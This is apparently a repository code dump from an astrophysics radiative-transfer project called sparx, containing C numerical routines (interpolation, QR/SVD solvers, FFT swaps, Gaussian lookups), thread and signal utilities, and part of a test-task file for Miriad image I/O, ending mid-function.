*/\n\tysub = Mem_CALLOC(m1*m2, ysub);\n\tx1sub = Mem_CALLOC(m1, x1sub);\n\tx2sub = Mem_CALLOC(m2, x2sub);\n\n\t/* Allocate temporary storage for interp along columns */\n\tytmp = Mem_CALLOC(m1, ytmp);\n\n\t/* Locate position of m1 x m2 sub-block of ya[] */\n\tidx1 = Num_GetInterpIdx(x1, x1a, n1, m1);\n\tidx2 = Num_GetInterpIdx(x2, x2a, n2, m2);\n\n\t/* Load sub-block */\n\tfor(i = 0; i < m1; i++) {\n\t\tfor(j = 0; j < m2; j++) {\n\t\t\tYSUB(i,j) = YA(idx1+i, idx2+j);\n\t\t}\n\t}\n\n\t/* Load coordinates */\n\tfor(i = 0; i < m1; i++)\n\t\tx1sub[i] = x1a[idx1+i];\n\n\tfor(i = 0; i < m2; i++)\n\t\tx2sub[i] = x2a[idx2+i];\n\n\t/* Step 1: interpolate along each column */\n\tfor(i = 0; i < m1; i++) {\n\t\tytmp[i] = Num_InterpPoly(x2, x2sub, &YSUB(i, 0), m2, m2);\n\t}\n\n\t/* Step 2: interpolate along row */\n\ty = Num_InterpPoly(x1, x1sub, ytmp, m1, m1);\n\n\t/* Cleanup */\n\tfree(x1sub);\n\tfree(x2sub);\n\tfree(ysub);\n\tfree(ytmp);\n\n\treturn y;\n}\n\n#undef YA\n#undef YSUB\n\n/*----------------------------------------------------------------------------*/\n\nvoid Num_QRDecompSolve(double *A, size_t M, size_t N, const double *b, double *x)\n/* Solve the linear system A x = b by doing QR decomposition and\n * least-squares solution, where A is a general M by N matrix.\n *\n * Note on gsl_linalg_QR_* routines:\n * in gsl_linalg_QR_decomp(), dim(tau) must == \\min(M, N) and\n * gsl_linalg_QR_lssolve(), dim(x) must == N, while dim(b) & dim(residual)\n * must == M\n */\n{\n\tsize_t i;\n\tgsl_matrix_view\n\t\tQR = gsl_matrix_view_array(A, M, N);\n\tgsl_vector_const_view\n\t\tbb = gsl_vector_const_view_array(b, M);\n\tgsl_vector\n\t\t*tau = gsl_vector_alloc(Num_MIN(M, N)),\n\t\t*xx = gsl_vector_alloc(N),\n\t\t*residual = gsl_vector_alloc(M);\n\n\tgsl_linalg_QR_decomp(&QR.matrix, tau);\n\tgsl_linalg_QR_lssolve(&QR.matrix, tau, &bb.vector, xx, residual);\n\n\tfor(i = 0; i < N; i++)\n\t\tx[i] = gsl_vector_get(xx, i);\n\n\tgsl_vector_free(tau);\n\tgsl_vector_free(xx);\n\tgsl_vector_free(residual);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Num_SVDecompSolve(double *A, size_t M, size_t N, const double *b, double *x)\n/* Solve the linear system A * x = b using the Singular Value Decomposition\n * method. This version uses one-sided Jacobi orthogonalization, which requires\n * M >= N.\n */\n{\n\tDeb_ASSERT(M >= N);\n\n\tsize_t i;\n\tgsl_matrix_view\n\t\tU = gsl_matrix_view_array(A, M, N);\n\tgsl_vector_const_view\n\t\tbb = gsl_vector_const_view_array(b, M);\n\tgsl_matrix\n\t\t*V = gsl_matrix_alloc(N, N);\n\tgsl_vector\n\t\t*S = gsl_vector_alloc(N),\n\t\t*xx = gsl_vector_alloc(N);\n\n\tgsl_linalg_SV_decomp_jacobi(&U.matrix, V, S);\n\tgsl_linalg_SV_solve(&U.matrix, V, S, &bb.vector, xx);\n\n\tfor(i = 0; i < N; i++)\n\t\tx[i] = gsl_vector_get(xx, i);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Num_Qsort_d(double array[], size_t n)\n{\n\tqsort(array, n, sizeof(double), (int (*)(const void *, const void *))compar_d);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Num_QuadraticRoots(double a, double b, double c, double *x1, double *x2)\n/* \nSolve the quadratic equation a * x^2 + b * x + c = 0 and store the roots in\nx1 and x2.\n\nNote: In Numerical Recipes in Pascal (Press, etal. , Cambridge University\nPress, 1989) - section 5.5, there is a better way to compute the roots of\nthe quadratic equation.\n\nThe normal way: x = [-b (+/-) (b2 - 4ac).5]/2a \nIf either a or c small then we get -b (+/-) b' with b' ~ b and this may\ngive a numerical error. A better way is: q = -0.5 [b +sgn(b) (b2 - 4ac) .5]\nthen x1 = q/a; x2 = c/q;\n\n### Evaluates to nan for coplex roots! ###\n*/\n{\n\tdouble q;\n\n\tq = -0.5 * (b + Num_SIGN(b) * sqrt(b * b - 4.0 * a * c));\n\n\t*x1 = q / a;\n\t*x2 = c / q;\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define IN(a,b)\\\n\t(fftw_in[(b)+jdim*(a)])\n#define OUT(a,b)\\\n\t(fftw_out[(b)+jdim*(a)])\n#define ARR(a,b)\\\n\t(arr[(b)+jdim*(a)])\n#define REAL(a,b)\\\n\t(real[(b)+jdim*(a)])\n#define IMAG(a,b)\\\n\t(imag[(b)+jdim*(a)])\n#define DUP1(a,b)\\\n\t(dup1[(b)+jdim*(a)])\n#define DUP2(a,b)\\\n\t(dup2[(b)+jdim*(a)])\n\nvoid NumFFT_Xform2d(double *arr, size_t idim, size_t jdim, double *real, double *imag)\n{\n\tsize_t i, j;\n\tdouble *dup1, *dup2;\n\tfftw_plan p;\n\tfftw_complex *fftw_in, *fftw_out;\n\n\t/* Sanity check */\n\tDeb_ASSERT(idim * jdim > 0);\n\n\tdup1 = Mem_CALLOC(idim*jdim, dup1);\n\tdup2 = Mem_CALLOC(idim*jdim, dup2);\n\tfftw_in = (fftw_complex*)fftw_malloc(sizeof(fftw_complex)*idim*jdim);\n\tfftw_out = (fftw_complex*)fftw_malloc(sizeof(fftw_complex)*idim*jdim);\n\tDeb_ASSERT((fftw_in != NULL) && (fftw_out != NULL));\n\n\t/* FFTW doesn't seem to use size_t for array dimensions -- consider change to\n\t * another library? GSL perhaps? */\n\tp = fftw_plan_dft_2d((int)idim, (int)jdim, fftw_in, fftw_out, FFTW_FORWARD, FFTW_MEASURE);\n\n\t/* Load arr into dup1 */\n\tfor(i = 0; i < idim; i++) {\n\t\tfor(j = 0; j < jdim; j++) {\n\t\t\tDUP1(i, j) = ARR(i, j);\n\t\t}\n\t}\n\n\t/* FFTSwap dup1 */\n\tNumFFT_Swap2d(&DUP1(0, 0), idim, jdim);\n\n\t/* Load dup1 into real part of input and reset output */\n\tfor(i = 0; i < idim; i++) {\n\t\tfor(j = 0; j < jdim; j++) {\n\t\t\tIN(i,j)[0] = DUP1(i,j);\n\t\t\tIN(i,j)[1] = 0.0;\n\t\t\tOUT(i,j)[0] = 0.0;\n\t\t\tOUT(i,j)[1] = 0.0;\n\t\t}\n\t}\n\n\t/*execute FFT*/\n\tfftw_execute(p);\n\n\t/* Load output: real->dup1 imag->dup2 */\n\tfor(i = 0; i < idim; i++) {\n\t\tfor(j = 0; j < jdim; j++) {\n\t\t\tDUP1(i,j) = OUT(i,j)[0];\n\t\t\tDUP2(i,j) = OUT(i,j)[1];\n\t\t}\n\t}\n\n\t/* FFTSwap dup1 and dup2 */\n\tNumFFT_Swap2d(&DUP1(0, 0), idim, jdim);\n\tNumFFT_Swap2d(&DUP2(0, 0), idim, jdim);\n\n\t/* Load results to user array: dup1->real, dup2->imag */\n\tfor(i = 0; i < idim; i++) {\n\t\tfor(j = 0; j < jdim; j++) {\n\t\t\tREAL(i,j) = DUP1(i,j);\n\t\t\tIMAG(i,j) = DUP2(i,j);\n\t\t}\n\t}\n\n\t/* Cleanup */\n\tfree(dup1);\n\tfree(dup2);\n\tfftw_free(fftw_in);\n\tfftw_free(fftw_out);\n\tfftw_destroy_plan(p);\n\n\treturn;\n}\n\n#undef IN\n#undef OUT\n#undef ARR\n#undef DUP\n\n/*----------------------------------------------------------------------------*/\n\nvoid NumFFT_Swap1d(double *arr, size_t n)\n{\n\tsize_t i;\n\tdouble *dup;\n\n\tdup = Mem_CALLOC(n, dup);\n\n\tfor(i = 0; i < n; i++) {\n\t\tif(i < n/2)\n\t\t\tdup[i] = arr[i+n/2];\n\t\telse\n\t\t\tdup[i] = arr[i-n/2];\n\t}\n\n\tfor(i = 0; i < n; i++) {\n\t\tarr[i] = dup[i];\n\t}\n\n\tfree(dup);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define ARR(a,b) (arr[(b)+jdim*(a)])\n#define DUP(a,b) (dup[(b)+jdim*(a)])\n\nvoid NumFFT_Swap2d(double *arr, size_t idim, size_t jdim)\n{\n\tsize_t i, j;\n\tsize_t icen = 0, jcen = 0;\n\tdouble *dup = NULL;\n\n\tdup = Mem_CALLOC(idim * jdim, dup);\n\ticen = idim/2;\n\tjcen = jdim/2;\n\n\t/* Copy and swap array to dup */\n\tfor(i = 0; i < idim; i++) {\n\t\tfor(j = 0; j < jdim; j++) {\n\t\t\t#if 1\n\t\t\tif(i >= icen && j >= jcen) { //load Q1 of arr to Q3 of dup\n\t\t\t\tDUP(i-icen, j-jcen) = ARR(i,j);\n\t\t\t}\n\t\t\telse if(i < icen && j >= jcen) { //load Q2 of arr to Q4 of dup\n\t\t\t\tDUP(i+icen, j-jcen) = ARR(i,j);\n\t\t\t}\n\t\t\telse if(i < icen && j < jcen) { //load Q3 of arr to Q1 of dup\n\t\t\t\tDUP(i+icen, j+jcen) = ARR(i,j);\n\t\t\t}\n\t\t\telse if(i >= icen && j < jcen) { //load Q4 of arr to Q2 of dup\n\t\t\t\tDUP(i-icen, j+jcen) = ARR(i,j);\n\t\t\t}\n\t\t\t#endif\n\n\t\t\t#if 0 //debug\n\t\t\tif(i < idim/2) {\n\t\t\tif(j < jdim/2)\n\t\t\t DUP(i,j) = ARR(i+idim/2,j+jdim/2); //i < idim/2 && j < jdim/2\n\t\t\telse\n\t\t\t DUP(i,j) = ARR(i+idim/2,j-jdim/2); //i < idim/2 && j >= jdim/2\n\t\t\t}\n\t\t\telse {\n\t\t\tif(j < jdim/2)\n\t\t\t DUP(i,j) = ARR(i-idim/2,j+jdim/2); //i >= idim/2 && j < jdim/2\n\t\t\telse\n\t\t\t DUP(i,j) = ARR(i-idim/2,j-jdim/2); //i >= idim/2 && j >= jdim/2\n\t\t\t}\n\t\t\t#endif\n\t\t}\n\t}\n\n\t/* Copy swapped array back to input */\n\tfor(i = 0; i < idim; i++) {\n\t\tfor(j = 0; j < jdim; j++) {\n\t\t\tARR(i,j) = DUP(i,j);\n\t\t}\n\t}\n\n\t/* Cleanup */\n\tfree(dup);\n\n\treturn;\n}\n\n#undef ARR\n#undef DUP\n\n/*----------------------------------------------------------------------------*/\n\nint Num_nint(float x)\n{\n\tdouble f, n;\n\n\tf = modf(x, &n);\n\t//Deb_P(\"x=%g, f=%g, n=%g\\n\", x, f, n);\n\n\treturn round(x); //f >= 0.5 ? (int)n+1 : (int)n;\n}\n\ndouble Num_GaussNormal(double x, double width)\n/* Return Gauss normal at x, with width=sqrt(2)*sigma of the Gaussian.\n *\n * Since exp(x) *can overflow* for x = +\\-(large number), indexing\n * a static array of precalculated gaussian normals not only saves time\n * but also prevents overflow of floating point numbers.\n *\n * MAXGAU = total number of data points -- must be odd numbered so that\n * the central data point is zero.\n * MAXWIDTH = maximum number of widths to trace Gaussian.\n * fac = number of data points per width.\n */\n#define MAXGAU 401\n#define MAXWIDTH 4\n{\n\tstatic const double fac = (MAXGAU - 1) / MAXWIDTH;\n\tstatic int init = 0;\n\tstatic double gaunormal[MAXGAU+1], val;\n\tint i, igau;\n\n\t/* Find position of x in Gaussian normal */\n\tDeb_ASSERT(width > 0); /* Just in case */\n\tigau = Num_nint(fac * ((x > 0 ? x : -x) / width))+1;\n\n Deb_P(\"[debug]ival=%4d\\n\", igau);\n Deb_P(\"fac=%16.9f %4d\\n\", fac * ((x > 0 ? x : -x) / width), Num_nint(fac * ((x > 0 ? x : -x) / width)));\n\n\t/* If init==0, init gaunormal */\n\tif(!init) {\n\t\tfor(i = 1; i <= MAXGAU; i++) {\n\t\t\tval = ((float)i - 1.0) / fac;\n\t\t\tgaunormal[i] = exp(-(val * val));\n\t\t\tDeb_P(\"gau[%3d]=%16.9f\\n\", i, gaunormal[i]);\n\t\t}\n\t\tinit = 1;\n\t}\n\n\t/* If igau is >= MAXGAU, it is greater than 4*width, so return 0.\n\t * Otherwise return Gaussian normal at igau. */\n\tif(igau-1 >= MAXGAU)\n\t\treturn 0.0;\n\telse\n\t\treturn gaunormal[igau];\n}\n#undef MAXGAU\n#undef MAXWIDTH\n\n/*----------------------------------------------------------------------------*/\n\ndouble Num_GaussNormal2(double x, double width)\n/* Return Gauss normal at x with width=2*sigma of Gaussian.\n * Note: exp() *may overflow* for large arguments!!! */\n{\n\treturn exp(-(x * x) / (width * width));\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Num_RanDir3D(gsl_rng *rng, double *cost, double *sint, double *phi)\n/* Generate a random direction in 3D space */\n{\n\t/* This samples a random number uniformly in the\n\t * interval [0, 1) */\n\t#define RAND()\\\n\t\tgsl_rng_uniform(rng)\n\t/* This samples a random number uniformly in the\n\t * interval (0, 1) */\n\t#define PRAND()\\\n\t\tgsl_rng_uniform_pos(rng)\n\n\t#if 1\n\t*cost = 2.0 * RAND() - 1.0;\n\t*sint = sqrt(1.0 - (*cost) * (*cost));\n\t*phi = PRAND() * Num_TWOPI;\n\t#else\n\t\t#if 0\n\t\t*cost = cos(0);\n\t\t*sint = sin(0);\n\t\t*phi = RAND() * Num_TWOPI;\n\t\t#endif\n\n\t\t#if 0\n\t\t*cost = 2.0 * RAND() - 1.0;\n\t\t*sint = sqrt(1.0 - (*cost) * (*cost));\n\t\t*phi = 0;\n\t\t#endif\n\n\t\t#if 0\n\t\t*cost = cos(0);\n\t\t*sint = sin(0);\n\t\t*phi = 0;\n\t\t#endif\n\t#endif\n\n\t#undef RAND\n\t#undef PRAND\n\n\treturn;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.7804877758026123, "alphanum_fraction": 0.7804877758026123, "avg_line_length": 15.399999618530273, "blob_id": "2cc353d07eaeb7bff8c33631049fa9a760efb87b", "content_id": "b48825a37ecce07d40af82c6894462e532f3067d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 82, "license_type": "no_license", "max_line_length": 39, "num_lines": 5, "path": "/unit/test_dumpmodel.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "import unittest\n\nclass TestDumpModel(unittest.TestCase):\n\tdef setUp(self):\n\t\tpass\n" }, { "alpha_fraction": 0.592927873134613, "alphanum_fraction": 0.5988684296607971, "avg_line_length": 23.54166603088379, "blob_id": "0f6fa76dbd9df68afbf3016d0f0f1c4b30cf447f", "content_id": "d6af2e866ee896dab0df495dd7b086515155bbb7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3535, "license_type": "no_license", "max_line_length": 102, "num_lines": 144, "path": "/src/sparx-utils.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n#include <signal.h>\n\nstatic int SpUtil_termthread = 0; /* Flag for terminating threads */\n\nstatic void *SpUtil_SigMonThread(void);\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpUtil_Threads(void *(*ThreadFunc)(void *))\n/* Distribute ThreadFunc to Sp_NTHREAD threads, passing the id of each thread\n * as the argument */\n{\n\tpthread_t threads[Sp_NTHREAD];\n\tpthread_attr_t attr;\n\tint status;\n\tsize_t i, thread_id[Sp_NTHREAD];\n\n\t/* Init thread attribute */\n\tpthread_attr_init(&attr);\n\tpthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);\n\n\t/* Create and execute threads */\n\tfor(i = 0; i < Sp_NTHREAD; i++) {\n\t\tthread_id[i] = i;\n\t\tstatus = pthread_create(&threads[i], &attr, ThreadFunc, &thread_id[i]);\n\t\tDeb_ASSERT(status == 0); /* Temporary measure */\n\t}\n\n\t/* Join threads */\n\tfor(i = 0; i < Sp_NTHREAD; i++) {\n\t\tstatus = pthread_join(threads[i], NULL);\n\t\tDeb_ASSERT(status == 0); /* Temporary measure */\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpUtil_Threads2(size_t nthread, void *(*ThreadFunc)(void *))\n/* Distribute ThreadFunc to nthread threads, passing the id of each thread\n * as the argument */\n{\n\tpthread_t threads[nthread], mon_thread;\n\tpthread_attr_t attr;\n\tint sts;\n\tsize_t i, thread_id[nthread];\n\tsigset_t mask;\n\n\t/* Release the GIL */\n\tPy_BEGIN_ALLOW_THREADS\n\n\t/* Catch only SIGINT and SIGKILL */\n\tsigemptyset(&mask);\n\tsigaddset(&mask, SIGINT);\n\tpthread_sigmask(SIG_BLOCK, &mask, NULL);\n\n\t/* Reset termthread flag */\n\tSpUtil_termthread = 0;\n\n\t/* Init thread attribute to joinable */\n\tpthread_attr_init(&attr);\n\tpthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);\n\n\t/* Create monitor thread */\n\tsts = pthread_create(&mon_thread, &attr, (void *(*)(void *))SpUtil_SigMonThread, &SpUtil_termthread);\n\tDeb_ASSERT(sts == 0);\n\n\t/* Create and execute threads */\n\tfor(i = 0; i < nthread; i++) {\n\t\tthread_id[i] = i;\n\t\tsts = pthread_create(&threads[i], &attr, ThreadFunc, &thread_id[i]);\n\t\tDeb_ASSERT(sts == 0); /* Temporary measure */\n\t}\n\n\t/* Join threads */\n\tfor(i = 0; i < nthread; i++) {\n\t\tsts = pthread_join(threads[i], NULL);\n\t\tDeb_ASSERT(sts == 0); /* Temporary measure */\n\t}\n\n\t/* All threads joined, terminate monitor thread */\n\tpthread_cancel(mon_thread);\n\n\t/* Unblock signals for main thread */\n\tpthread_sigmask(SIG_UNBLOCK, &mask, NULL);\n\n\t/* Destroy attribute */\n\tpthread_attr_destroy(&attr);\n\n\t/* Reacquire the GIL */\n\tPy_END_ALLOW_THREADS\n\n\t/* The only thing that could go wrong here should\n\t * be interruption by the user */\n\tif(PyErr_CheckSignals())\n\t\tsts = 1;\n\n\treturn sts;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void *SpUtil_SigMonThread(void)\n{\n\tsigset_t mask;\n\tstruct timespec timeout;\n\tint sig;\n\n\t/* Catch SIGTERM and SIGKILL */\n\tsigemptyset(&mask);\n\tsigaddset(&mask, SIGINT);\n\tsigaddset(&mask, SIGTERM);\n\n\t/* Set timeout to 2.5ms */\n\tMem_BZERO(&timeout);\n\t//timeout.tv_sec = 1;\n\ttimeout.tv_nsec = (time_t)2.5e8;\n\n\twhile(1) {\n\t\tsig = sigtimedwait(&mask, NULL, &timeout);\n\t\tif(sig == SIGINT) {\n\t\t\tprintf(\"Signal %d caught in '%s'\\n\", sig, __FUNCTION__);\n\t\t\tPyErr_SetInterrupt();\n\t\t\tSpUtil_termthread = 1;\n\t\t\tbreak;\n\t\t}\n\t\telse if(sig == SIGTERM) {\n\t\t\t//debug\n\t\t\t//printf(\"SIGTERM caught, terminating '%s' thread \\n\", __FUNCTION__);\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tpthread_exit(NULL);\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpUtil_TermThread(void)\n{\n\treturn SpUtil_termthread;\n}\n\n" }, { "alpha_fraction": 0.5034093260765076, "alphanum_fraction": 0.5380207896232605, "avg_line_length": 22.518293380737305, "blob_id": "286daa206d1563d712ea6efbca3005859089ce31", "content_id": "92797abb4f5bd660de21ac4ad5fc72d2a599435a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 38571, "license_type": "no_license", "max_line_length": 135, "num_lines": 1640, "path": "/src/sparx-test.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include <gsl/gsl_rng.h>\n\n#include \"sparx.h\"\n#include \"miriad.h\"\n\n/* Prototypes of test tasks should no longer be kept here\n but in the sparx.h header, since they should be called from PyMain() */\n\nvoid SpTest_MirImg_LoadXYV(const char *fname);\nstatic int SpTest_Kappa(void);\nstatic int SpTest_RayTracing3(void);\nstatic int SpTest_RayTracing2(void);\nstatic int SpTest_Math(void);\nstatic int SpTest_RayAW(void);\nstatic int SpTest_Nothing(void);\nstatic int SpTest_Model(void);\nstatic int SpTest_HDF5(void);\nstatic int SpTest_RandRay(void);\nstatic int SpTest_Phys(void);\nstatic int SpTest_Zone(void);\nstatic int SpTest_MirImg(void);\nstatic int SpTest_Pkeys(void);\nstatic int SpTest_Llst(void);\nstatic int SpTest_RayTracing(void);\nstatic int SpTest_Molec(void);\nstatic int SpTest_VecInterp(void);\n\n/* Task definitions */\nSpTask\n\tSpTask_t_kappa = Sp_TASK(\"t_kappa\", \"Test opacities loading and interpolation\", SpTest_Kappa, 0),\n\tSpTask_t_raytracing3 = Sp_TASK(\"t_raytracing3\", \"Test ray tracing in various geometries (zone by zone)\", SpTest_RayTracing3, 0),\n\tSpTask_t_raytracing2 = Sp_TASK(\"t_raytracing2\", \"Test ray tracing in various geometries\", SpTest_RayTracing2, 0),\n\tSpTask_t_math = Sp_TASK(\"t_math\", \"Test QR decomposition\", SpTest_Math, 0),\n\tSpTask_t_rayaw = Sp_TASK(\"t_rayaw\", \"Test ray tracing with Amanatides-Woo algorithm\", SpTest_RayAW, 0),\n\tSpTask_t_nothing = Sp_TASK(\"t_nothing\", \"This is for generating valgrind suppressions.\", SpTest_Nothing, 0),\n\tSpTask_t_model = Sp_TASK(\"t_model\", \"Test model allocation and i/o.\", SpTest_Model, 0),\n\tSpTask_t_hdf5 = Sp_TASK(\"t_hdf5\", \"Test HDF5 access.\", SpTest_HDF5, 0),\n\tSpTask_t_randray = Sp_TASK(\"t_randray\", \"Test physics.\", SpTest_RandRay, 0),\n\tSpTask_t_phys = Sp_TASK(\"t_phys\", \"Test physics.\", SpTest_Phys, 0),\n\tSpTask_t_zone = Sp_TASK(\"t_zone\", \"Test zone manipulation.\", SpTest_Zone, 0),\n\tSpTask_t_mirimg = Sp_TASK(\"t_mirimg\", \"A demonstration of writing Miriad images to disk.\", SpTest_MirImg, 0),\n\tSpTask_t_pkeys = Sp_TASK(\"t_pkeys\", \"For debugging purposes\", SpTest_Pkeys, 0),\n\tSpTask_t_llst = Sp_TASK(\"t_llst\", \"For debugging purposes\", SpTest_Llst, 0),\n\tSpTask_t_raytracing = Sp_TASK(\"t_raytracing\", \"For debugging purposes\", SpTest_RayTracing, 0),\n\tSpTask_t_molec = Sp_TASK(\"t_molec\", \"Test molecule access\", SpTest_Molec, 0),\n\tSpTask_t_vecinterp = Sp_TASK(\"t_vecinterp\", \"Test vector interpolation\", SpTest_VecInterp, 0);\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpTest_MirImg_LoadXYV(const char *fname)\n{\n\tMirImg_Axis x, y, v;\n\tdouble *cube = 0;\n\tchar *bunit;\n\tsize_t i, j, k;\n\n\tcube = MirImg_LoadXYV(fname, &x, &y, &v, &bunit);\n\n\tfor(i = 0; i < x.n; i++) {\n\t\tfor(j = 0; j < y.n; j++) {\n\t\t\tfor(k = 0; k < v.n; k++) {\n\t\t\t\tprintf(\"cube(%3lu,%3lu,%3lu)=%g\\n\", (unsigned long)i, (unsigned long)j, (unsigned long)k, cube[k + v.n * (j * y.n * i)]);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpTest_Key(void)\n{\n\tint boolean;\n\tboolean = SpInp_GetKey_TF(\"test\");\n\n\tprintf(boolean ? \"True\\n\" : \"False\\n\");\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpTest_Gaussian(void)\n{\n\tsize_t i, n = 1001;\n\tdouble v_min = -100.0, v_max = 100.0, v_delta, vel, width = 50.0;\n\n\tv_delta = (v_max - v_min) / (double)(n - 1);\n\n\tfor(i = 0; i < 1001; i++) {\n\t\tvel = v_min + v_delta * (double)i;\n\t\tprintf(\"%20g %20g\\n\", vel, Num_GaussNormal(vel, width));\n\t}\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpTest_XYReadWrite(void)\n{\n\tMirFile *xy;\n\tMirImg_Axis x, y, v;\n\tMirImg *img;\n\tint i, j, k, icen, jcen;\n\tdouble width = 5.0, *chan;\n\tchar *bunit;\n\tFILE *fp;\n\t\n\tMem_BZERO(&x);\n\tMem_BZERO(&y);\n\tMem_BZERO(&v);\n\tx.n = 16;\n\ticen = (int)x.n / 2 - 1;\n\tx.delt = PHYS_UNIT_ASEC;\n\ty.n = 16;\n\tjcen = (int)y.n / 2 - 1;\n\ty.delt = PHYS_UNIT_ASEC;\n\tv.n = 4;\n\tv.delt = 100.0;\n\timg = MirImg_Alloc(x, y, v);\n\n\tfor(i = 0; i < (int)img->v.n; i++) {\n\t\tfor(j = 0; j < (int)img->x.n; j++) {\n\t\t\tfor(k = 0; k < (int)img->y.n; k++) {\n\t\t\t\tMirImg_PIXEL(*img, i, j, k) = exp(-(pow((j - icen) / width, 2.0) + pow((k - jcen) / width, 2.0)));\n\t\t\t}\n\t\t}\n\t}\n\n\tfp = fopen(\"SpTest_XYReadWrite_original.txt\", \"w\");\n\tfprintf(fp, \"################################################################################\\n\");\n\tfor(i = 0; i < (int)img->v.n; i++) {\n\t\tchan = MirImg_CHAN(*img, i);\n\t\tfprintf(fp, \"# Channel %d\\n\", i);\n\t\tfor(j = 0; j < (int)img->x.n; j++) {\n\t\t\tfor(k = 0; k < (int)img->y.n; k++) {\n\t\t\t\tfprintf(fp, k == 0 ? \"%10.3e\" : \" %10.3e\", chan[(size_t)k + img->y.n * (size_t)j]);\n\t\t\t}\n\t\t\tfprintf(fp, \"\\n\");\n\t\t}\n\t\tfprintf(fp, \"\\n\\n\");\n\t}\n\n\tfclose(fp);\n\n\t/* Write image to Miriad image */\n\txy = MirXY_Open_new(\"SpTest_XYReadWrite.xy\", img->x.n, img->y.n, img->v.n);\n\tMirImg_WriteXY(xy, img, \"JY/PIXEL\", 1.0);\n\tMirXY_Close(xy);\n\tMirImg_Free(img);\n\n\t/* Read from Miriad image */\n\tMem_BZERO(&x);\n\tMem_BZERO(&y);\n\tMem_BZERO(&v);\n\txy = MirXY_Open_old(\"SpTest_XYReadWrite.xy\", &x.n, &y.n, &v.n);\n\timg = MirImg_Alloc(x, y, v);\n\tMirImg_ReadXY(xy, img, &bunit);\n\n\tfp = fopen(\"SpTest_XYReadWrite_fromfile.txt\", \"w\");\n\tfprintf(fp, \"################################################################################\\n\");\n\tfor(i = 0; i < (int)img->v.n; i++) {\n\t\tchan = MirImg_CHAN(*img, i);\n\t\tfprintf(fp, \"# Channel %d\\n\", i);\n\t\tfor(j = 0; j < (int)img->x.n; j++) {\n\t\t\tfor(k = 0; k < (int)img->y.n; k++) {\n\t\t\t\tfprintf(fp, k == 0 ? \"%10.3e\" : \" %10.3e\", chan[(size_t)k + img->y.n * (size_t)j]);\n\t\t\t}\n\t\t\tfprintf(fp, \"\\n\");\n\t\t}\n\t\tfprintf(fp, \"\\n\\n\");\n\t}\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpTest_UVResamp(void)\n{\n\tMirFile *uvin, *uvout;\n\tMirImg_Axis x, y, v;\n\tMirImg *img;\n\tint i, j, k, icen, jcen;\n\tdouble width = 5.0, *chan;\n\tFILE *fp = fopen(\"SpTest_UVResamp.txt\", \"w\");\n\n\tx.n = 16;\n\ticen = (int)x.n / 2 - 1;\n\tx.delt = PHYS_UNIT_ASEC;\n\ty.n = 16;\n\tjcen = (int)y.n / 2 - 1;\n\ty.delt = PHYS_UNIT_ASEC;\n\tv.n = 4;\n\tv.delt = 100.0;\n\n\timg = MirImg_Alloc(x, y, v);\n\timg->restfreq = 300.0e9; /* Hz */\n\n\tfor(i = 0; i < (int)img->v.n; i++) {\n\t\tfor(j = 0; j < (int)img->x.n; j++) {\n\t\t\tfor(k = 0; k < (int)img->y.n; k++) {\n\t\t\t\tMirImg_PIXEL(*img, i, j, k) = exp(-(pow((j - icen) / width, 2.0) + pow((k - jcen) / width, 2.0)));\n\t\t\t}\n\t\t}\n\t}\n\n\tfor(i = 0; i < (int)img->v.n; i++) {\n\t\tchan = MirImg_CHAN(*img, i);\n\t\tfprintf(fp, \"# Channel %d\\n\", i);\n\t\tfor(j = 0; j < (int)img->x.n; j++) {\n\t\t\tfor(k = 0; k < (int)img->y.n; k++) {\n\t\t\t\tfprintf(fp, j == 0 ? \"%10.3e\" : \" %10.3e\", chan[(size_t)k + img->y.n * (size_t)j]);\n\t\t\t}\n\t\t\tfprintf(fp, \"\\n\");\n\t\t}\n\t\tfprintf(fp, \"\\n\\n\");\n\t}\n\n\tuvin = MirUV_Open(SpInp_GetKey_str(\"uvin\"), \"old\");\n\tuvout = MirUV_Open(SpInp_GetKey_str(\"uvout\"), \"new\");\n\n\tMirImg_UVResamp(img, uvin, uvout);\n\n\tMirUV_Close(uvin);\n\tMirUV_Close(uvout);\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpTest_Interp2d(void)\n{\n\t#define idim 6\n\t#define jdim 6\n\t#define idim2 50\n\t#define jdim2 50\n\t#define coord {0, 10, 20, 30, 40, 50}\n\n\tint i, j;\n\tint icen = idim / 2, jcen = jdim / 2;\n\tdouble *array2d = Mem_CALLOC(idim * jdim, array2d),\n\t\tx1a[idim] = coord,\n\t\tx2a[jdim] = coord;\n\tdouble width = 1.0, interp_value, x, y;\n\t#define ARR(i, j)\\\n\t\tarray2d[j + jdim * i]\n\tFILE *fp = fopen(\"SpTest_Interp2d.txt\", \"w\");\n\n\t/* Setup a 2D gaussian profile exp(-(x^2/width^2 + y^2/width^2)) 